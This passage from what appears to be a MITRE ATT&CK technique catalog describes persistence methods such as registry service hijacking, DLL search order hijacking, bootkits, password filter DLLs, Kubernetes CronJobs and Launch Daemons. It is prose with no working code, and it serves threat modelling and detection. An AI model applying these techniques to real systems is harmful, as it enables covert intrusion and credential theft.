have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.\n\nAdversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn\u2019t checked at load time.(Citation: Malware Persistence on OS X)\nT1053.007 | Container Orchestration Job | Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.\n\nIn Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)\nT1542.001 | System Firmware | Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.\nT1574.011 | Services Registry Permissions Weakness | Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter other Registry keys in the service\u2019s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\n\nThe Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\n\nAdversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service\u2019s file may be identified using HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\servicename\\Parameters\\ServiceDll.(Citation: malware_hides_service)\nT1542.003 | Bootkit | Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\nA bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: Mandiant M Trends 2016) The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.\nT1547 | Boot or Logon Autostart Execution | Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.\n\nSince some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.\nT1547.014 | Active Setup | Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nAdversaries may abuse Active Setup by creating a key under HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\ and setting a malicious value for StubPath. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)\n\nAdversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.\nT1542.005 | TFTP Boot | Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.\n\nAdversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)\nT1543.003 | Windows Service | Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.\n\nAdversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API. \n\nAdversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via [Native API](https://attack.mitre.org/techniques/T1106) functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)), or by using command-line utilities such as `PnPUtil.exe`.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42 AcidBox June 2020) Adversaries may leverage these drivers as [Rootkit](https://attack.mitre.org/techniques/T1014)s to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as \"Bring Your Own Vulnerable Driver\" (BYOVD)) as part of [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020)\n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002). To make detection analysis more challenging, malicious services may also incorporate [Masquerade Task or Service](https://attack.mitre.org/techniques/T1036/004) (ex: using a service and/or payload name related to a legitimate OS or benign software component).\nT1053.003 | Cron | Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.\n\nAn adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). \nT1137 | Office Application Startup | Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.\n\nA variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules)\nT1098.003 | Additional Cloud Roles | An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)\n(Citation: Microsoft O365 Admin Roles) \n\nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.\n\nFor example, in AWS environments, an adversary with appropriate permissions may be able to use the CreatePolicyVersion API to define a new version of an IAM policy or the AttachUserPolicy API to attach an IAM policy with additional or distinct permissions to a compromised user account.(Citation: Rhino Security Labs AWS Privilege Escalation)\nT1547.012 | Print Processors | Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation: Microsoft Intro Print Processors)\n\nAdversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the AddPrintProcessor API call with an account that has SeLoadDriverPrivilege enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLM\\SYSTEM\\\\[CurrentControlSet or ControlSet001]\\Control\\Print\\Environments\\\\[Windows architecture: e.g., Windows x64]\\Print Processors\\\\[user defined]\\Driver Registry key that points to the DLL.\n\nFor the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the GetPrintProcessorDirectory API call, or referenced via a relative path from this directory.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020)\n\nThe print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.\nT1574.001 | DLL Search Order Hijacking | Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.\n\nThere are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)\n\nAdversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.\nT1137.006 | Add-ins | Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)\n\nAdd-ins can be used to obtain persistence because they can be set to execute code when an Office application starts. \nT1505.002 | Transport Agent | Adversaries may abuse Microsoft transport agents to establish persistent access to systems. Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks. \n\nAdversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019) Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary. \nT1098.006 | Additional Container Cluster Roles | An adversary may add additional roles or permissions to an adversary-controlled user or service account to maintain persistent access to a container orchestration system. For example, an adversary with sufficient permissions may create a RoleBinding or a ClusterRoleBinding to bind a Role or ClusterRole to a Kubernetes account.(Citation: Kubernetes RBAC)(Citation: Aquasec Kubernetes Attack 2023) Where attribute-based access control (ABAC) is in use, an adversary with sufficient permissions may modify a Kubernetes ABAC policy to give the target account additional permissions.(Citation: Kuberentes ABAC)\n \nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. \n\nNote that where container orchestration systems are deployed in cloud environments, as with Google Kubernetes Engine, Amazon Elastic Kubernetes Service, and Azure Kubernetes Service, cloud-based role-based access control (RBAC) assignments or ABAC policies can often be used in place of or in addition to local permission assignments.(Citation: Google Cloud Kubernetes IAM)(Citation: AWS EKS IAM Roles for Service Accounts)(Citation: Microsoft Azure Kubernetes Service Service Accounts) In these cases, this technique may be used in conjunction with [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003).\nT1053 | Scheduled Task/Job | Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)\n\nAdversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)\nT1556.002 | Password Filter DLL | Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. \n\nWindows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation. \n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)\nT1505.005 | Terminal Services DLL | Adversaries may abuse components of Terminal Services to enable persistent access to systems. Microsoft Terminal Services, renamed to Remote Desktop Services in some Windows Server OSs as of 2022, enable remote terminal connections to hosts. Terminal Services allows servers to transmit a full, interactive, graphical user interface to clients via RDP.(Citation: Microsoft Remote Desktop Services)\n\n[Windows Service](https://attack.mitre.org/techniques/T1543/003)s that are run as a \"generic\" process (ex: svchost.exe) load the service's DLL file, the location of which is stored in a Registry entry named ServiceDll.(Citation: Microsoft System Services Fundamentals) The termsrv.dll file, typically stored in `%SystemRoot%\\System32\\`, is the default ServiceDll value for Terminal Services in `HKLM\\System\\CurrentControlSet\\services\\TermService\\Parameters\\`.\n\nAdversaries may modify and/or replace the Terminal Services DLL to enable persistent access to victimized hosts.(Citation: James TermServ DLL) Modifications to this DLL could be done to execute arbitrary payloads (while also potentially preserving normal termsrv.dll functionality) as well as to simply enable abusable features of Terminal Services. For example, an adversary may enable features such as concurrent [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) sessions by either patching the termsrv.dll file or modifying the ServiceDll value to point to a DLL that provides increased RDP functionality.(Citation: Windows OS Hub RDP)(Citation: RDPWrap Github) On a non-server Windows OS this increased functionality may also enable an adversary to avoid Terminal Services prompts that warn/log out users of a system when a new RDP session is created.\nT1176 | Browser Extensions | Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition)\n\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary controlled server or manipulate the mobile configuration file to silently install additional extensions.\n\nPrevious to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles, however .mobileconfig files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS)\n\nOnce the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension)\n\nThere have also been instances of botnets using a persistent backdoor through malicious Chrome extensions.(Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control.(Citation: Chrome Extension C2 Malware)\nT1137.005 | Outlook Rules | Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)\n\nOnce malicious rules have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)\nT1546.011 | Application Shimming | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)\n\nWithin the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).\n\nUtilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.\nT1547.010 | Port Monitors | Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.(Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions.(Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. \n\nThe Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.\nT1037.002 | Login Hook | Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the /Library/Preferences/com.apple.loginwindow.plist file and can be modified using the defaults command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev) \n\nAdversaries can add or insert a path to a malicious script in the com.apple.loginwindow.plist file, using the LoginHook or LogoutHook key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)\n\n**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) \nT1205 | Traffic Signaling | Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.\n\nAdversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\nOn network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.\n\nAdversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet)\nT1547.009 | Shortcut Modification | Adversaries may create or modify shortcuts that can execute a program during system boot or user login. Shortcuts or symbolic links are used to reference other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.\n\nAdversaries may abuse shortcuts in the startup folder to execute their tools and achieve persistence.(Citation: Shortcut for Persistence ) Although often used as payloads in an infection chain (e.g. [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)), adversaries may also create a new shortcut as a means of indirection, while also abusing [Masquerading](https://attack.mitre.org/techniques/T1036) to make the malicious shortcut appear as a legitimate program. Adversaries can also edit the target path or entirely replace an existing shortcut so their malware will be executed instead of the intended legitimate program.\n\nShortcuts can also be abused to establish persistence by implementing other methods. For example, LNK browser extensions may be modified (e.g. [Browser Extensions](https://attack.mitre.org/techniques/T1176)) to persistently launch malware.\nT1525 | Implant Internal Image | Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001), this technique focuses on adversaries implanting an image in a registry within a victim\u2019s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)\n\nA tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an adversary has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)\nT1547.005 | Security Support Provider | Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.\n\nThe SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)\nT1556.007 | Hybrid Identity | Adversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts. \n\nMany organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments. These can be maintained in a number of ways. For example, Azure AD includes three options for synchronizing identities between Active Directory and Azure AD(Citation: Azure AD Hybrid Identity):\n\n* Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Azure AD, allowing authentication to Azure AD to take place entirely in the cloud \n* Pass Through Authentication (PTA), in which Azure AD authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory \n* Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Azure AD \n\nAD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users\u2019 identity and privileges. \n\nBy modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources. For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService` process that authorizes all attempts to authenticate to Azure AD, as well as records user credentials.(Citation: Azure AD Connect for Read Teamers)(Citation: AADInternals Azure AD On-Prem to Cloud) In environments using AD FS, an adversary may edit the `Microsoft.IdentityServer.Servicehost` configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.(Citation: MagicWeb)\n\nIn some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud. For example, adversaries who compromise a Global Administrator account in an Azure AD tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Azure AD environment as any user.(Citation: Mandiant Azure AD Backdoors)\nT1543.004 | Launch Daemon | Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in /System/Library/LaunchDaemons/ and /Library/LaunchDaemons/. Required Launch Daemons parameters include a Label to identify the task, Program to provide a path to the executable, and RunAtLoad to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)\n\nAdversaries may install a Launch Daemon configured to execute at startup by using the RunAtLoad parameter set to true and the Program parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)\n\nAdditionally, system configuration changes (such as the installation of third party package 